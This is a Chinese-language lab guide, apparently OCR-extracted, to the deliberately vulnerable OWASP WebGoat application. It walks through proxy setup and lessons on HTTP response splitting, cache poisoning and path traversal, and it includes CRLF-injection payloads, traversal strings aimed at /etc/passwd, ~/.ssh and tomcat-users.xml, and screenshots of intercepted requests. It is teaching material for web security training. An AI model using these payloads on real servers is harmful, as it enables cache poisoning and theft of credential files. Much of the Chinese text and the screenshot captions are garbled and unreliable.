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1 WebGoat &4}

1.1 {142 WebGoat

WebGoat #& OWASP ZHZ3 il i 19 FH T 3547 web Il S236 1R &, H R U608 web
L AR AR AE R 22 40T . WebGoat IZATTEH A java WML &2 b, HaTHat il ZeiR
A5 30 24, HrhRs: Bl AT (XSsS). Uilliadl, efize 4. BRAER 7B
BN SHL. 55216 cookie. SQL HiE 7 sQLiFEAN . F4FH 1 sQL v EA . web AR%% . Open
Authentication 2K fERE I HTML 385555 . WebGoat $24t | — R 1| web & 42 ] M #UFE,
SRR A B T AR, S P R X R AT M

1.2 {42 OWASP

OWASP & — M Web N HFEF %41 H (OWASP, Open Web Application Security
Project) 123, ‘Bt THENA ELERPI N R P A TR PRy A MAM S IEE . H
F 2 BB A AR AR SR A A FH AT A5 A A . Rt Web B HIAR 7 22 4= 10 H

(OWASP) Z— N AFERANR, A s ARV 4. Fitt, B OWASP SR HEFIIT A& [
FIT A VOt A ST AT A 32 7 b R 3R S

e W B BH 2 23 01 22 (FTC) R ZU A WU A A Mk 75 13540 OWASP FIT R AT+ K Web 55 i
) sFE.

OWASP & Jyititk: http://www.owasp.org

OWASP 3 E /7: http://www.owasp.org.cn

1.3 WebGoat Z8&

WebGoat ] LATEM N3, E47H ) “webgoat_8080.bat” E R, fEIZITHI, FZe
FACFE B E N localhost, it 1 8080,

TE W WG 28 %\ http://localhost:8080/WebGoat/attack & 3%, #1551 WebScarab,
TUJZE 30 Y 28 %5\ http://localhost.:8080/WebGoat/attack. #J4GH] ' 44 % i 42 guest.

1] LLfE\WebGoat-5.2\tomcat\conf\tomcat-users.xml S {t: & H - 4 5255,

7] PL7E\WebGoat-5.2\tomcat\conf\server_80.xml S 4+ & Huim 115 .

ERE: BT E AT HE R WebGoat MRASAN [F] 1A AT X 5 o
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1.4 HIMHIA
1.4.1 WebScarab

1411 N4A

WebScarab &—> K 73 #1 FH X W #8 H 52 1 IR 55 2815 3K, DA S IR 5568 6T I Wi 2% A o 14
SR RS HESE, tHmT LS — MR TR, s vl — MR, AT DLRIA
WebScarab Z& - 70#7. &0, G AT A Vg 5 Ik 55 2% 2 18] B3 SR 5 5, mT BLA
KAHT HTTP 5 HTTPS Bl

WA DT ) T NME A o] BE AR AE SR L PR, Ph T, M aEESE . IR S A ] BATE
WebScarab #3185 K0 1 AE Hoet HdE 472 04 38 W AR WebScarab i b 3k 473 N 2 B
DA oA 3 P 22 4 12 o

WebScarab 72 WebGoat ] — MBI TR, 7E£ WebGoat #4173 L8is By, 7 LAF)
F WebScarab 73#, BB HRACHITER, LA [ [ e 5

1412 ZESEE

1. ZEEMIBATHIRATHEE JRE AEEIS28e, BT jar SCHEANREIZAT, AILUA Tk
BT AR F N Java L3412 N jre (C:\ProgramFiles\Java\jrel. 6.0 02\bin) .
2. . W webscarab—installer—20070504-1631. jar 34, %R 2238 m Si#4T4H

o7 1) 22585 o
3. 1847 AR SE R AT Al S i AR GE Ty B 2% H 3 T ) webscarab. jar SCfFiE
17817, BATEWNA:

7/177



OWASP h =]

The Open Web Agplicalion Socerily Project
Open http://www.owasp.org.cn

£ WehScarab Lite .'n.i_ln !]
File View Tools Help

Summary | Intercept |

Intercept requests : [ | Case Sensitive Regular Expressions 7 ||

Methods | Include Paths matching :

GET

POST Exclude paths matching :

HEAD

PUT

DELETE

TRACE

PROPFIND

OPTIONS

Intercept responses : | |
Only MIME-Types matching :

o uenswwswe |

4. WebScarab [F)Ze3e LUAL R B, (H 2752 JRE P55, WebScarab MR, FZ2N A%
W 28 R R

5. Wlk: 21k WebScarab HFE#ULEIT, FTH— AT WebScarab n] AR FIE K,
Ui B C IR

1.4.2 Firebug FA IEwatch

Firebug #& Firefox FHI—AMdEfF, Ret% AT A M5 5, 40 HTML, CSS %%, {H FireBug
B GI NBIEZ JavaScript TARIIRE, A RAES 758, 1 HAE S P vds T #aef
(IE, Firefox, Opera, Safari) . FRULZ4h, &G HALGE KK DIEE, L HTML, CSS, DOM 1]
RESWRK, WA ITEE., B, e —E7XBMmEAN VEB ik TE., HAME
HAFF IR A o
[EWatch s&— MUK LE (N EAGfE, v LB F R4 HITP/HTTPS k15 ., cookies DL Jid
it GET A1 POST #2532 %k -

1.5 H#hikAR
T WebGoat T H (HLFEH ) A5 N OWASP £ 4 ik i3t [E 2 55k, Rt al fg o

F R 1P BN A BRI R DU I &5 5 1 10 22 e A 85 1) EL ARG DL 2 1
K
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2 WebGoat Z#2

2.1 %4 (General)
2.1.1 HTTP ERh1IR (Http Basics)

2.1.1.1  #HAREZRLEM (Concept / Topic To Teach)

IR H HIET 1 R0 55 25 A0 Web L P 2 TR) it A2 TSR A i

2.1.1.2 HAREE (How It works)

HTTP 240l AR ? BT X HTTP A& #R ZLE A RIAF Kl A% K (R 224 1IEWatch
B WebScarab J&Hf P HR I HEAT 57 510 BN S (R SRAIR 55 i (O LA =il oy: i
SREUFIRAT . — Rk ARl 7. & am LA~ 75 308 30— A3

B IE RN S5 T ROE AN SUFE R

GET /index.html?param=value HTTP/1.0

TR, B AR RTEERE R, ARSI 55 4% FLE B A SO A%

User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*

RIEVERAR L Z 5, &7l URIE T 2 s . 280 32 2 T8 POST 751411
CGl 27 .

2.1.1.3 S{*xH#%r (General Goals)

TELETLH R 7 A A N7/ e, i [GolY #4H e sc Hda . IR 45 s izelicid sk
Ja 2R B P AN, FEELRAR . Z LT HTTP 37 3R (1 3 A 1 J5

F PN E R PR R 4R WebGoat [UHFAE, . 3@ 45/ U _E o5 4l n LA B 41
REE L HTTP iERZS%. HTTP 53K Cookies LA K Java VEACHD . %5t AT DAZE 1 IR A FH A =%
i I T B WebScarab.
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2.1.1.4 ¥{EFH’% (Solutions)

TE W W #15 B 01— localhost IACHE, 4R J5 AT LAJE 5l WebScarab.

EERE

& Ui R E R A
O THEE(Y)
O BamtailltFsr EEE (W)
O HA R IEEE L)
® FIEEME: (M)

HTTP 38 (X) | localhost N W (P) goog| -

O HFR AR R AL ()
ssLftEE: | | wE: © | 0l
ETP ft38: e ® | 0 -
SOCKS E4l: | | O (1) 0|2

() SOCKSv4 @ SOCKSV5

TEEHE: (N) | localhost, 127.0.0.1
ffl21: .mozilla.org, .net.nz, 192.168.1.0/24
7 BEhHIEEIE URL : (A)

T w | mE

PATTRELE A Untercept) 7IEIT-RHIE R “F2EIE R (intercept request) 7.

PR webSearah Lite ——.
File Wiew Jools Help

| Saimimiay | Iledcepl

! Imtercepl redqisesis s v Case Semaitive Regidar Expressions T |

| Mothods. nciude Patles mat ching :

| GeY : :

5 POST Emmmmﬂcm:

;:m ".(ulllu:-;ipn-_jl-::j::[l'.lnc!.':r-w'_'ard"'_,l

| PROPHND
| DPTIONS

| §

Infercepl responEes: |
| Oy MIME . Types matching :

|
ER M ANETIES &4 E (“Your Name”) J5, i [Go!) &40 HUE . #
WebScarab [FH1 & I+, FATTAT LAFK RIS %0 “person”.
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Edit Request

Intercept requests : Intercept responses : [ |

l/Parsed ["Raw |

Method URL Version
[POST | |Rttp:/172.16.115.132:80/WebGoat/attack?Screen=166&menu=100 | [HTTPAL |
|_Header Value insert |l
|Host 172.16.1... -
||User-Agent [Mozilla/s.... ~| Delete

e |

URLEncoded | Text | Hex |

Variable Value
erson Your Name
SUBMIT Go!
Insert
Delete

e |
l/ Parsed | Raw |
Version Status Message

Header Walue

T T,
[ Hex |
Position [0]1]2[3]4]5][6[7][8[a]AB[CID]E[F] String |

| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts

GERIEERUA, RGTRIRIEE M.

2.1.2 HTTP #F4> (HTTP Splitting)

2.1.21 HEARBIRHER
ZAR H AE T A B U 4T HTTP 743 20k
2.1.2.2 FAR[FEHE

Wik & AR Web AR 5545 IEH A R PINACE RS, 52 21 SGh (R A2 & CR
(1%, BRIRIR9%0d B\r) A1 LF (HefT, AR N%0a Bi\n) o XL AF AL By
A N R P T S0 A28 B o 1o Sk AN A, 1T ELI AR ATT RE S e 4 AE HLA% i) h B3 3 2 1)
B

HTTP Ik B ie 5 2 frio e M, RERERCRIE B AL . GeAris Gl i) H b
A g, WWMSEAr, AEHANE A HTTP PRy B i 02— MR IEH I w24
55 s B EIAS . Bl A, M HTTP i Meddy, I B R B del ity iRk, JF
BE TR H . R 3 W2 K% If - Modified- Since 13Kk, X fEBE#H A2
PR S HNER, AU A “304 M7 EHE. BUFZ R LK) 304 WM :
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HTTP/1.1 304 Not Modified
Date: Fri, 30 Dec 2005 17:32:47 GMT

2.1.2.3 E&EH#R

AIRIED APIAP IR DR B2 S I St HTTP Hr i Moy IR AP IR —
FR R LK 5 B2 ) AT SR T+ HTTP 5 20 BGH BOR DL T 224775 G i .

TG, ERAEFEHEETE S BRRIFIRACHE R, W R I Y48 4l 2 m) 21 ik 25 3 )
Hh—ATE. EHTREFHA CR(%0d) 5 LF (%0a) 540k 77 B BEAT By, B br & 5k il AR 55 i
R[5l —A> HTTP 200 OK M L. QiR Mook Z8 0 i R A4k, 1 B B 0. 7R R )
SEMZ G, ETEEMIZE AR BIEE B 4t B ——id A

&2 J 3. PHP Charset Encoder k% A . FH' Encode 11 Decode URI 53 [ A DS EIL
CR Fl LF S5 54

2.1.2.4 BERE

WEER, PUFEELRAUEH T Windows M85 . REIEEMH Linux, E1EMHEXHIE
B Windows % %t 1 [R5 A CR AT LF PR ZRF R8T « Linux H1 2 A FF 248 H LF, Mac 0S
F P& CRo BT AR A IEZE A6 Linux 2248, 15K DA R /R FE BT A [9%0d%0a 7 %
B Hi%0a (Linux) B{%0d (Mac 0S)

B4 W B ARNE IR 0T G AATAT HTTP 875, [l =R AT 75 .

BEAH RN —/ME 5 BRI E B EE 2 B AL . 15N WebScarab 1% R £ 4
LR AT RE 2 )8

EE R A en”, FFIRHURE .
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Inescepl requests

ltercept responses

a0 BOWvebGnatlessons/Denaralrediract jspTSueens] I Smerus 50 HTTR1
[, Enagale-rbiman, imagedpep, inagalpipeg, applicatond-shockwiva-lash, applicabionAnd ms-excel, spplcaionhmd me-powarposnl, apphe sbonmsword,

B ANED G0N NS KT Shows MistHinl&menu=50

PAccopbLanguage: nibe

IContert Type: Spplieabonte wawe-fonm: wiantaded

BLIA-CPLL B

Accept EnCoding: (2, defa

g i-Agent Mozillatk 0 (compatinbs; MSIE 7.0, Windows NT 5.1, NET CLR 1 16222, NET CLR 2.0,50727; Info@ath )

- Gornecion: Keeg-Alive

[Comerd-longlh 28

Host nika

brcagma no-cachi

ICoakae: JEESLIONID= 16T E AR S8R0 AL B II0TARI0E 2 1L

Luthorization: Basic Ziic3046ZMcit=

anguagr=enaSLEMTaSearch 21|

Accipt cluanges mnmﬂm Abort roquast | cum-‘i N.I..NIIGIHI

UK HTTP iR

I édcapt feqiests | v Witercapt fesponses [
[FOST nitp.oned B0MWetiGoatiessonsieneralirenitect jsp?Simans1 00 Ameru=S0 HTTRI] it
bACeant IMBGRMH, Fnaget-timan, IMagalneg, imageinen, apolicationds snockeave-ash, Appicabio A ms-exel, SpRIcaN0nNTIE ME-powarnowl, appie sbanimswond, 1
Ratarer HpimEsA b O 0AN SRALKT S hiws NetHInlBmEfu=50 | |
proceptLanguage: ni-be |
I oulert Typ e applicationte wivi-Torm-ielant oded U
PUA-CPLY 285
baceept-Encading gm, defate |
Usar-Agent Moziifaid O frompatibbe; M3IE 7.0, Windows NT 5.9, HETCLR 1.1 432 HET CLR 20.80737; infoPath ) |
Prony-Cormecion. Kegg
et st
(TP 11302 Mowd Tamparaii
Senver Apache-Coyotan 1
[ Loxasion’ e 0. i ok
(G ontard- Typ o teihimi charsebelS0- 80501
(Conlent-length 0
e Tha, 1200l 2007 14:45:14 OMT
(-RievaalHiddan possibly modted
Accept clanges Cancet changss Abort requast | Camcel ALL imercepls

H— K HTTP i
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Inercepl requests: [ Intercept responses : ¥

Parsed | Raw |

HBFIMM. Creane | 0 Amenys: Bl HTTFAL

BACCROL IMABneigit, e pet- itmar, iImagelpeg, Mmageinipeg, applicabon'-shodkeave-Nlagh, apple stionind ms-exded, SpPIcatonima ms-Dowarposnl, apobe sbonmsword, r
Rederer, hipoinecifed GoataRackT shovwesNestHinlEmeru=50

bAccapt-Language: nl-ba

bAuthonzation: Basic ZME30EZIIeI0=

LA CPLE kBB

baccept-Encoding: gop, dedan

Usar-Agent Mozilatd O (compatible; MSIE 7.0 Windows NT 51, NETCLR 11832, NET CLR 2080727, InfoPath 3
Prowy- Cormetlion: Kesp-Alive

Host ned

IPragma: no-cache

i ook SEESCIONID=01 G TE3ARFSER0AC IMEBTINTIAZIES 4

s sttt e T e eess
U HTTP K.
A LAE B8 Ik HTTP 185 SR A K 5 55— K HTTP W 2 HH /) Location #B4) . 1M Location
HEHE R B T8 — K HTTP 15K
R REH UG, (EH— IR HTTP BB HEACHT Z L HTTP ik H i .
B JETE language FBOENIEEEHE . en%0d%0a%0d%0a%0d%0a. 73 & : Linux il Mac OS
RGUE S5 315 M0 4 B

Infetcept renuests: ) intercept responses:

QST nftpfined 80MebGostTessonsiOeneralrediraclisp?Sreans1 01 dmenru= 50 HTTFN
bAceent imagegl, imagetebitmap, imagepeg, imagelp|peq, applicationt-shockeave-fiash, apalicationing ms-excel, Spplic 300k ms-piwerpoiil, apgie ssonmsvwoed, "
Fedorer, hipoimeoted FoabaRack?Scmen= 101 dmem=STaromRedireci=yesElanguage=an

bAceapk-Language: nHoe

erd-Type: applicabionfe-wwe-Tonm- uisntoded

Lk CPLL 85

bActeni-Encoding: gop, defate

LUggr-Agant Mogitad D (eompatibie; MSIE 7.0, Windews NT 51, NETCLR 118321, NET CLR 2080727, Infolath 3}

Proay-Cornecion Kesp-Alive

ok length 58
Hogt Aid

eagma no-cachn
ioniie. JEESSIONID=
Bauthiorzation: Basic

GTEIMSFESBDOCIALE I 0TIRIVES L
3R IVIcI0=

language=enB 2 S0dE50a% 2 50d% 150 0% R0 R 2 S0a S SUBMIT= Snarch s 1

Mc«ﬂcm -Clw;dch:uw Abort requasi :mcﬂ.ll.l. et cepls

IR HTTP iR
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R Edit Res porse

Intédcapt requests | ] Wibercopt responses :

Parsed | Raw
FOST hilpined B0AYeb Dosties sonsfOeneralredira cLiSp Bungan=1 0 Smaru= 50 HTTFN.]
AL L0t imagalpll nagele-bimap, imagelpeg, imagalpipeq, applicationts shockwive-flash, applic abonived ms-exced, applicalionimd me-powarp ol apob sbonmswoed, ™
Fefarer Mipoineced Foatslaik?Sueen=1 0 dmenu=5TaromRedirect=yes Elanguage=en
LActapELanguage: nkoe
oG oriterd Typ e &0 plic sboniewww-Tor- irent oded
LA-CPLE k88
LA tepl-Encodng g, defae
iisar-Agunt Moziiad 0 feomgatibbe; M3IE 7.0, Windows NT 5.1, NETCLR 1 1.432X, NET CLR 2050727, InfoPath )
Paoay-Cormection Kesp-Aive
Cnntard: lnnnihc &R
Parsed | Raw
HTTPS 1 302 Moved Tamporanly
SRrer ADREhe-Coyulnd
Lo 38on, hEp e nAWenGoalals
Contant-Tyne teahimi s hars et s
Conlant-length 0
Dato: Tha, 1 TJut 00T 144752 OMT
fo-RevealHidden: possibly modded

|

Scraene 1 EmanueSdaremRedirec e sdlanguagesen 006 0% Bala%kie%0a
AR5 -1

r;::mcm_l Cancel changes | Abort roguost Cancel ALL indsrcopls

55— VK HTTP M

TENFFR R IE, HTTP i S04 ) 71 “Content-Length: 0745 YR W 2 i B L4 45 7R .

200 OK “5 4 H i B A AL KR8 “HTTP/1.1 200 OK”

M A ERHE, 8eH RG] DLzl Al F an s 45 5 -

foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aCont
ent-Type:%20text/htmI%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked J</html>

Foobar
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

Content-Length: 47

<htmI>Hacked J</htmI>
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Inflercapl pequests: ) Wntercept responses : ||

| Parsed | Ran |
0 TR 1

beave-flash, spplicatiordmd me-excel, applicationind ms-powerpoink, applicalionimesond, *F
ngUage=testan

I, MET CLR 2050727, InfoPait 2

P56 IS 0aHTTRFRIF 1 1R 15202005 2520 0k %3 500% 250 aContent Tyne % 20% 35 1ot IF himi% 1500 % 25 faContent-Longh % 34% 152104 7% 2504% 240a% 25 0d% 1 900 % 3C Mm% 3EHa ¢

HTTP # r Beik

Edit Respanse

Il &d capl Feqiaests | LV' UW:WI‘W! »
| Parsed | Raw |

FOST hpAmes AR 03Es50ns 0 eneraliediracLisp B 1eens101 manu=50 HTTFIL] [=
bAccent imagalgif, imagefestiiman, imagelnes, imageipiney, applicatiorss-snackave-lash, apolicabonimid ms-gxel, spplicationimd ms-powernonl, apabeabonimswoed, [
Raterer g ineoteh GoataRak? Bormens1 I Amenu=ST8TomRedirecyes langua pe=rastar ‘

|

PActapt-Language: nkbe

o onlerd Type: applicationtewww-Tamm-ilent oded
TP aBE
LActept-Encading: goig, defate

UsarAgant Mozilatd 0 jeomg atibbe; MSIE 7.0, Windows HT 51, NETCLR 1 1432, NET CLR 2.0 80727, Infc@ath )
Dyoa-Cormesiion Kean-Aive

TTPr 1 203 Mowd Tomporatly

erver Apache-Coralad 1

Location hitpineniebGoaalackScrmens 1 11 Emanus S SromRedine e s R langieagesioshas s 0 % 0aC ontant Len gt % 00 S0 0600 S 00 R0 aHTTRPA 1% 20200% 200K S08%0aC|
Contart- Typ e Imamimicharsate FH0-8850-1

Comlant-lengih: O

34 Tha, 1100 2007 145510 OMT

-RevealHidgan possibly modded

| Accept changes | Cancolchamges | Abortroquest | | Cancel ALLimercepts

H

HTTP 1 3
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Infercepi requests : () intercept responses 1

B0 BOYYebFoa¥ana ckTS e ne1 01 Emenu=S05romRe fire i yes 8150 JUa pe= o0 ba rG RIS EaContent-Langtih. % 100% 0 %0a%0 0% SaHTTRA 1 %I0200% 200 K% 00K 0FCar
baccepl imagal ageke-abimap, iImageipeg, imagai)peq, applicabord-shockeave-lash, apolicsbonimd ms-exeel, spplicaionimd me-prwerpoint, appke sbonmswoed, *™
Retater MiponeciYeh GoalanackTBomens 1 01 Amenu=S508romRedire ci-yes Elangua pesresian

PAceapkLanguage nkba

bAuthorzation: Basic ZPIC30EZ Ve I0=

- CPL w85

barcepi-Encodng gop, deftats

Usar-Agent Mozitadd D frompalibie; MSIE 7.0, Windows NT 5.9, HETCLR 1 18322 NET CLR 2080737, InfoPath 21

P Cormecion Kesp-Alive

Host nid

PP ragma: no-cachs

Cookin: JEESEIONID=910 TESMEFSSEDAC 2MBTI0TIRIBESITS

. | 2
panges | Cancelchanges | Abortrequest | | Cancel ALL iscepts

P

IR HTTP 35k

Infercepi requests : () intercept responses 1

| Parsed | Raw |

1% D WOC ONTEntLengtn &2 00%0a%05%00%0SHTTP 1 %20200% 200K%H04%03Conlerd Type % J018Nami%0a% D3 Conlant-Lengih % 204 7500503 %0 %0awimis Hacked% =
edicatonind me-encel, saplicationtnd ms-prwenoint, anpssatonmsword, ' 11
it

2050737, infoPatn.2)

LHTTRM 1 200 OK

femver Apashe-Coyaladt 1

Fragma; Mo-cathe

{Cache-Confral: no-cache

Cxpines: Thu, 0% Jan 1970010000 CET
(Conlant Type: teadivimd
~Tranafier-Encoding chunked

P0ate: Tha, 120U 2007 145559 OMT
-RevealHidden: possinly modssd
orerd lengih 13

< fifrnl = H s ke d

ATt FEqUes | Camcel ALL s copls

P

5 UK HTTP i 3,
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&7 hinpeiTmesWeblisail sl ackT5e pevn = 1078 v se - 500 ¢ costtndirect yeall Liaguage - oo bar S0 MNDalenient Leny i 1

G- i Ld i" Iorach Banaih TP C MDY TRIL 1 NI TONIOC Ry 4 | *p K Pl

Ceoomgie (Goe v @ B - O o Bietaed 0wt -y bk - - o 1w (o St

v W DOM  Dhiabie view Outiee Woldate Deaged  Resow  Mel  Shive Kk

W e e Woblodt st ach cren s 10| Sraru=Se.. Ber @ o= tpwm = gk

Hacked

fom - [re— S -

HTTP 3 7> B it 2«

LAk R B

£ HETP Splitting - Windess latesnet Laplores

Gﬂ- 0y LT gt 4t e AR J'-\l-

Fis O e Frewbd  Tool  Felp
Gl (e woone g B () obaks Bimboked TP owcd » % Aunink = o S e () seitrgns
W DOM Digatde Vs Cuthne Valdate  [eacet  Rapos Mec  Show Rl
»
W T ol B R b - Tk -

et easiulty :u-n..-uu-d '\oldla-q-_ -n-:w 1ry I posson
wie ‘restart ws tha ino | I-J Ilh:q-w-l Rt pebwis 1o e

{1 s reararag Wikt bor et s sbiast tattach h art.. 8 Lol st o -
B
BUEIS CARIE T HEAT HTTP J5 0 MLy 1o 8] DU A IX AN BOAR KGR — IREAF T R

ie

ZATTG Y EOR A  HTTP Sk Last-Modified 7Bt . 25004 7 BUE SCA 24 T 18] LAJS 1)
BAKE, 0. 203946 H 4 H.

FHRAESHTTP Bl G, dh A R AR I 45
foobar%0d%0aContent-Length:%200%0d%0a%0d%0aH T TP/1.1%20200%200K%0d%0aConten
t-Type:%20text/html%0d%0aL ast-Modified:%20Mon,%2027%200c¢t%202060%2014:50:18%20
GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked J</html>

Fooba
Content-Length: 0
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HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 47

<htmI>Hacked J</htmI>

£~ HTTP SpHining - Windees latesnel Laphones dle
G = et e i tHT A= = £
Goosgle (G v oo B e O moimsise Bhoaticed | TR 0wt - % itk Sl lisw i Selrgs =

Vi BOM Dasable View Outirw Vokdabe Drages Bemme Mol S lue

o TP pking
—

oo bbbl " - WORR L SO R SR CoOHCE o N LML R
¥ ) N
r " J )

8 Local ntranee o

OK, FHHIU LfnEead kT .

2.2 5e1EHI%ERRE (Access Control Flaws)
2.2.1 {EAHEIEHIFER (Using an Access Control Matrix)

2211 FEAREEAKEFE (Concept / Topic To Teach)

FE— T ORI Az HT7 b, AOARER T — AU HABBRARAL . — AN T Bl
SHE—AEE MO — DT AR R T S8 A AR AL A R ER
I — MBEIR 3R Tt D el P2 7 S8 RTBE SR VR P $RAT A Fe v At/ (K 48 23 S
s, sBARERN 7 2 S VRRFAUTH R R 2 AL i B iR ol
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2.2.1.2 FAKR[EIE (How It works)

Te.

2.2.1.3 S{*xB#%x (General Goals)

BN HGE A BRI, B R SRV DT RIS SRS E B BRI 5 H0 AR i ) S AR i
EELRTAE T B U7 AR RO . B “Admin” 21 e U In] ik S ER BRI

2.2.1.4 #¥{E5% (Solutions)

Sk AP, BHIEFE AT, A5G AT [Check Access), HEL T 40 E AR

Using an Access Control Matrix

Solution Yideos Restart this Lesson

In a role-based access control scheme, a role represents a set of access permissions and
privileges. & user can be assigned one or more roles, & role-based access control scheme
normally consists of two parts: role permission management and role assignment. & broken
role-based access control scheme might allow a user to perform accesses that are not
allowed by his/her assigned roles, or sommehow allow privilege escalation to an unauthorized
rale,

General Goal({s):

Each user is @ member of a role that is allowed to access only certain resources. Your goal is
to explore the access control rules that govern this site. Only the [Admin] group should have
access to the "Account Manager' resource,

* User Moe [Public] was allowed to access resource Public Share

Change user: Mog =

Select resource; IF'LIl:nlil: Share j

Check Access |

AR R EEZE: AHMHF Moe X % Y& Public Share 5 AR . Tk, &
FrH P AAE, Bl Change user iET{/1 /& Moe, 7E Select resource &I % H N —/NELIR Time
Card Entry, #RJE1598 % i [Check Access), HiBW UL 41 F Fios:
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Using an Access Control Matrix

Solution ¥ideos Restart this Lesson

In a role-based access control scheme, a role represents a set of access permissions and
privileges, & user can be assigned one or more rales, & role-based access control scherme
normally consists of two parts: role permission management and role assignment, & broken
role-based access control scheme might allow a user to perform accesses that are not
allowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized
rale.

General Goal(s):

Each user is a member of a role that is allowed to access only certain resources, Your goal is
to explore the access control rules that govern this site, Only the [Admin] group should have
access to the '"Account Manager' resource,

* User Moe [Public] did not have privilege to access resource Time Card Entry

Change user: toe =

Select resource: ITime Card Entry j

Check Access |

I 2T O AR B R R R - A T Moe AN BUA Xt %5 Time Card Entry A7 I AUR o
A HR 3R 77 v B BRI B R B AR

Using an Access Control Matrix

Solution Yideos Restart this Lesson

In a role-based access control scherme, a role represents a set of access permissions and
privileges, & user can be assigned one or more roles. A role-based access control scheme
normally consists of two parts: role permission managerent and role assignment. & broken
role-based access control scherme might allow a user to perform accesses that are not
alllowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized
raole,

General Goal({s):

Each user is a member of a role that is allowed to access only certain resources, Your goal is
to explore the access control rules that govern this site. Only the [Admin] group should have
access to the "Account Manager' resource,

* Congratulations. You have successfully completed this lesson.
* User Larry [User, Manager] was allowed to access resource Account Manager

Change user: ILarry "'I

Select resource: IAI:I:DLIM Fanager j

Check Access |

MR “H T Larry X B Account Manager B i R RES 7, A URFETE
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2.2.2 S ETERERNHREFIF R (Bypass a Path Based
Access Control Scheme)
2221 $HAREEZRLEM (Concept / Topic To Teach)

FE— AN AR U7 IRl P2 05 S e, P 3 vl DIOE I S (AR R i 424 JE i 7 42 o TRLIE,
Wk 2 RT DA FH AR R i A2 U ) A8 308 8 A ) N AT B T2 U 1) B L4237 SRt = A48 14 5C
G

2.2.2.2 FAKRIEIE (How It works)

K2 HARATE RGO VFAE AR A A SR A 74 e

letc/passwd
~/.ssh

configure
A..1..1..letc/passwd
c:\boot.ini

Atest.txt
.\.\.\boot.ini
file:///c:\bbot.ini
c:\test~1.txt

2.2.2.3 E{*xH#%r (General Goals)

F 7 “user” fE% 15 in] lesson_plans/English B % FFTA SCAF . 1875 B2 580k v v 42 1) 28
W&, Vil A TGRS kAR fE, #ad [view File] #4241 WebGoat 2345 H
A RER VT IH) R E B e — DN HBIER S8 /2 Vi A Tomeat FIBCE SCHF, — M2
“tomcat/conf/tomcat-users.xml”. VEE: 1Z AR B BUR T IEE{E F ] WebGoat R A Al
Wi,
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& (@ 172.16.115.132)v

Choose another language: | €N = Logout e

OWASP WebGoat v5.4

Introduction

Solution Videos Restart this Lesson

General
Access Control Flaws
W Hint: Most operating systems allow special characters in the path.
Using an Access Control
Matrix The 'user’ user has access to all the files in the lesson_plans/English directory Try to break the

access control mechanism and access a resource that is not in the listed directory After selecting a
file to view, WebGoat will report if access to the file was granted. An interesting file to try and
obtain might be a file like tomcat/conf/tomcat-users.xml. Remember that file paths will be different
if using the WebGoat source

Bypass a Path Based Access
Control Scheme

LAB: Role Based Access
Control

Stage 1. Bypass Business
Layer Access Control
Stage 2. Add Business
Layer Access Control

Stage 3: Bypass Data Laver
Access Control

Current Directory is: /var/lib/tomcaté/webapps/WebGoat/lesson_plans/English
Choose the file to view:
OffgyOne.html i

MultiLevelLogin2.html [
NewLesson.html [

Stage 4: Add Data Laver
Access Control

Remote Admin Access
AJAX Security

Authentication Flaws
Buffer Overflows
Code Quality

MultiLevelLogin1.html
WSsDLScanning.html
ForgotPassword.html

Concurrency

Cross-Site Scripting (X55)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution

WeakAuthenticationCookie.html
JSONInjection.html View File
WelcomeScreeen.html

DBSQLInjection.html

ClientSideValidation.html
SilentTransactions.html

Parameter Tampering SoapRequest.html
s lan Management Faws HiddenFieldTampering.html
Admin Functions JavaScriptValidation.html -
Challenge
Viewing file:/ fvarflib/ftomcats, /Web! |_plans/English

2.2.24 ¥{ERE (Solutions)

' “Choose the file to view” 5|3~ LA — AN, 285 i [View File), H
WebScarab I B # gk A iRk 55 2% K& 1E K, B pTR:
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4 Edit BRequest _IDIEI
Intercept requests : Intercept responses : [ |

Parsed | Raw |

Method URL Version
[POST | [httpocalhostansomehgoatatiack? Serean=1758menu=200 | [HTTRI.0

Header Yalug Insert

Accept imageryif, imagei-xbitmap, imageijpen, image/pjpeg, applicationfmeword, applicationivnd.ms-excel, .. |
[Referer hitp:ilocalhostB0&80hwebhgoatiattack®Screen=1T75&8menu=200&Restan=1745 - | Delete
D

URLEncoded | Text | Hex |

Yariahle “alue
File AccessControlbatrixhiml
SUBMIT ey File

Insert

Delete

Accept changes Cancel changes | Abort request ‘ Cancel ALL intercepts

7E K File 1 Value {E 52 AH V5 0] (S 44, AB0Ubat, SOk
tomcat\conf\tomcat-users.xml

R MR, RS
i

Intercept requests : Intercept responses : [ |

l/Parsed rRaw |

Method URL Version

[PoST | |hitp:iflocalhost 808 Dwebgoatiattack? Screen=175&menu=200 | [HTTRA.D
Header Walug Ihsert

Accept imagesyif, imagef-khitmap, imageljpey, imagefpjpeg, application/msword, applicationivnd.ms-excel, .. - |

Referer htp:iflocalhost 8080wmehgoatiattack?Screen=175&menu=200&Restart=1745

T

URLEncoded |’Text |’Hex |

Yariahle Yalue

File [1.ii Jeonfitomcat-users.ymi
SUEBMIT "iew File

Insert

Delete

Accept changes Cancel changes | Abort request ‘ ‘ Cancel ALL intercepts |
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SEREPEEN)S, #idi [Accept changes) BIVRJ . ZE UM I R s, IR Ta bk
e

LU selecting a file to view, WebGoat will report if access to the file was granted. An interesting

file to try and obtain might be a file like tomecat/confomcat-users. xml

Enpass a Fath Based
Access Control Scheme

* Congratulations! Access to file allowed

LAB: Role Based docess Control * == F:\WebGoat-5.3_RC1\tomcatconf\tomcat-users.xml
stage 1: Bypass Business * Congratulations. You have successfully completed this lesson.
Layer Locess Control
itage 2 Add Business Current Directory is: Fi\WebGoat-5.3_RC1

Layer Aocess Control

Stage 5: Bypass Data Layer

“tomeatywebappstwebgoatilesson_plansiEnglish

Aecess Control Choose the file to view:
stage 4 add Data Layer B
Tecess Control gcc:eiSCDntJ?lhpatrlx.html ;I

2.2.2.5 45513488 (Special Explanations)

